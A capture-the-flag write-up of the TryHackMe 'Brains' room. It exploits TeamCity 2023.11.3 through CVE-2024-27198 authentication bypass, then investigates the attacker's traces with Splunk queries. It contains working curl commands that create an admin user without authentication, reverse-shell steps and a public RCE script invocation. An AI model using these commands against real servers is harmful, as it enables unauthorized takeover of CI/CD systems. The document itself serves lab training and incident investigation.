# Brains

{% embed url="<https://tryhackme.com/r/room/brains>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

This challenge is a purple challenge in which we first compromise the target and then investigate the actions taken by an adversary abusing the specific CVE found.

## Exploit The Server!

We start by compromising the server.

### Recon

We start with an Nmap scan and find three open ports. Port `22`, where we have SSH, and ports `80` and `50000`, where a web server is running.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3aXrCUv4N1gYRZB35vzM%2Fgrafik.png?alt=media&#x26;token=851c8e1b-5789-48ab-92be-c5e3bac64d28" alt=""><figcaption></figcaption></figure>

On the standard port `80` we find only one page, which is under maintenance.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7VLWHvIauLsbFOP3hbcs%2Fgrafik.png?alt=media&#x26;token=8008fbee-6d37-4c0c-93c1-717b2fab6885" alt=""><figcaption></figcaption></figure>

Unfortunately, the directory scan does not find anything conspicuous either.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQnrw8rJuw59BFfI9UjF1%2Fgrafik.png?alt=media&#x26;token=97c3a56f-d920-4306-a5e6-c24a1c4a6614" alt=""><figcaption></figcaption></figure>

We continue with the website on port `50000`. Here we are greeted with a login to TeamCity. TeamCity is a continuous integration and continuous deployment (CI/CD) server developed by JetBrains. It is used to automate the process of building, testing, and deploying software. We can see that version `2023.11.3` is in use.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoGloinTNiRpZRlX8MK9U%2Fgrafik.png?alt=media&#x26;token=e17c804a-c784-468a-bd37-ab514d81ccaa" alt=""><figcaption></figcaption></figure>

A further Gobuster scan on port 50000 is optional, but not necessary. The information about the version used is sufficient.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs82sQVPqIjWrQ3FST3O9%2Fgrafik.png?alt=media&#x26;token=034833ab-8fe3-42f7-9bfb-de047564d69f" alt=""><figcaption></figcaption></figure>

### Exploit

&#x20;As mentioned before, the version `2023.11.3` is in use.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1VioKzJavnxQ3VGe6zjN%2Fgrafik.png?alt=media&#x26;token=7f16acef-d824-417d-b5a4-d2ddc2106cbe" alt=""><figcaption></figcaption></figure>

#### Manual Exploitation

After a quick research, two corresponding CVEs could be found. `CVE-2024-27198` and `CVE-2024-27199`. Both provide an authentication bypass, which then allows arbitrary plugins to be uploaded with the gained access to gain remote code execution.

{% embed url="<https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/>" %}

A detailed explanation could also be found here:&#x20;

{% embed url="<https://www.vicarius.io/vsociety/posts/teamcity-auth-bypass-to-rce-cve-2024-27198-and-cve-2024-27199>" %}

To add a user with the administrator role manually, the following payload could be used, but it still needs to be adapted for our use.

{% code overflow="wrap" %}

```
curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
```

{% endcode %}

What is happening here?

> To leverage this vulnerability to successfully call the authenticated endpoint `/app/rest/server`, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:
>
> * Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:
>   * `/hax`
> * Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:
>   * `?jsp=/app/rest/server`
> * Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:
>   * `;.jsp`
>
> Combining the above requirements, the attacker’s URI path becomes:
>
> ```bash
> /hax?jsp=/app/rest/server;.jsp
> ```

> By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.
>
> ```xml
> C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
> ```

```
curl -ik 'http://brains.thm:50000/hax?jsp=/app/rest/server;.jsp'
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjpkyMFhsO6379T4ltyZY%2Fgrafik.png?alt=media&#x26;token=fca8bf53-b1fc-4136-8e65-97c1d9cc9f48" alt=""><figcaption></figcaption></figure>

We then adapt the payload and add our user `0xb0b`.

{% code overflow="wrap" %}

```
curl -ik http://brains.thm:50000/hax?jsp=/app/rest/users\;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"0xb0b\", \"password\": \"0xb0b\", \"email\": \"0xb0b\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"

```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWF4bmLGwN3zYZUHLW5Ek%2Fgrafik.png?alt=media&#x26;token=6dd3edb3-379e-4205-893a-5c079708305a" alt=""><figcaption></figcaption></figure>

We should now should be able to log in as `0xb0b`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPQYXRUihvA6kqlddMOed%2Fgrafik.png?alt=media&#x26;token=bac55d53-d65c-42d7-bb58-31e668d63be5" alt=""><figcaption></figcaption></figure>

And we have access to the dashboard as `admin`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCTe826yZhZN3xyNw6ATA%2Fgrafik.png?alt=media&#x26;token=ba15cac3-8b55-41fb-8e0b-2ada764cc855" alt=""><figcaption></figcaption></figure>

From here we could take the following steps to get a reverse shell. But unfortunately there is no agent installed that we could use for this:

{% embed url="<https://exploit-notes.hdks.org/exploit/web/teamcity-pentesting/#arbitrary-command-execution-by-diff-build>" %}

> 1. Login as **admin user**.
> 2. Create a new project in admin dashboard.
> 3. Click **"Manual"** tab and fill required fields.
> 4. A new project is created.
> 5. In the project home, create a **Build Configurations**.
> 6. In the build configuration page, click **"Build Steps"** on the left menus.
> 7. Add build step.
> 8. Select **"Command Line"** in **Runner type**.
> 9. Put a Python reverse shell script in the **"Custom script"**.
> 10. Start listener in local machine.
> 11. Click **"Run"** button in the build page.
> 12. We should get a shell in terminal.

#### Automatically Approach

We could now craft and upload a plugin ourselves. Or use a script that does all this automatically:\
Create an admin user, upload a plugin and run it for remote code execution. We can find the following:

{% embed url="<https://github.com/W01fh4cker/CVE-2024-27198-RCE>" %}

We install its requirements.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDcrK3ajwvKEgtjQjTvc1%2Fgrafik.png?alt=media&#x26;token=da5c4655-6538-48b5-b466-f48323a1db9f" alt=""><figcaption></figcaption></figure>

And run the script on the target. We receive a web shell. Which we want to upgrade to a more interactive shell.

```
python3 CVE-2024-27198-RCE.py -t http://brains.thm:50000 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWJSleyQ5jR7DJFd5u4we%2Fgrafik.png?alt=media&#x26;token=72e81896-6cd1-49b3-a70b-9df57d31cba8" alt=""><figcaption></figcaption></figure>

To generate a payload, we use `revshell.com` and choose our favorite one using busybox.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHxcZow8UzLyDEfqxsmEd%2Fgrafik.png?alt=media&#x26;token=210b45d4-55c1-46c5-b222-58c62fb5d0f5" alt=""><figcaption></figcaption></figure>

We set up a listener on our desired port on our attacker machine and run the payload in the web shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyR0QbEsGT0aipwXimbda%2Fgrafik.png?alt=media&#x26;token=dfdf4787-2d20-4d19-b53b-e98013642e76" alt=""><figcaption></figcaption></figure>

We receive a connection back and upgrade the shell. We are the user `ubuntu`, and find the flag in the home directory of the user.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJNPw9BOjFdHW43Lt0WJy%2Fgrafik.png?alt=media&#x26;token=934bde2d-1590-486f-b97a-f15627c2cd8f" alt=""><figcaption></figcaption></figure>

## Let's Investigate

We switch off the machine and move on to task two with a new machine. Here we examine the steps of the attacker who carried out this exploit using Splunk and look at the various logs on the machine to understand what happened.

### What is the name of the backdoor user which was created on the server after exploitation?

To see which user was added after the exploit was executed, we can check the `/var/log/auth.log`. In this, we only have to look for the entries new user. One in particular stands out here, which was created on 04 July 2024.

```
index=* "new user"
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6B0MSRttVqbsBTkWvkb2%2Fgrafik.png?alt=media&#x26;token=7ff4f9e1-fb4a-40cb-903b-cedd93b2bebc" alt=""><figcaption></figcaption></figure>

### What is the name of the malicious-looking package installed on the server?

The next question is about subsequently installed packages on the machine. Here we must first limit our time period. We select the time period in which the user was created. We find out which packages were installed in `/var/log/dpkg.log`. After we have applied the time period, we find two entries, both of which are conspicuous.

```
index=* source="/var/log/dpkg.log" "installed"
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fg22bqbvzv3iHH8u0etl7%2Fgrafik.png?alt=media&#x26;token=cd1ecd12-6214-419f-9efc-856cb72449af" alt=""><figcaption></figcaption></figure>

### What is the name of the plugin installed on the server after successful exploitation?

The last question is about the plugin that was installed. This is the plugin that previously gave us RCE. So we are talking about the TeamCity plugin. We can trace this in the log `/opt/teamcity/TeamCity/logs/teamcity-activities.log`. We restrict the time period again.

```
index=* source="/opt/teamcity/TeamCity/logs/teamcity-activities.log"
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIHw7W0Vzn8F7ay8dgRnH%2Fgrafik.png?alt=media&#x26;token=768f4705-70b5-4cf6-a94c-a828d38616d0" alt=""><figcaption></figcaption></figure>
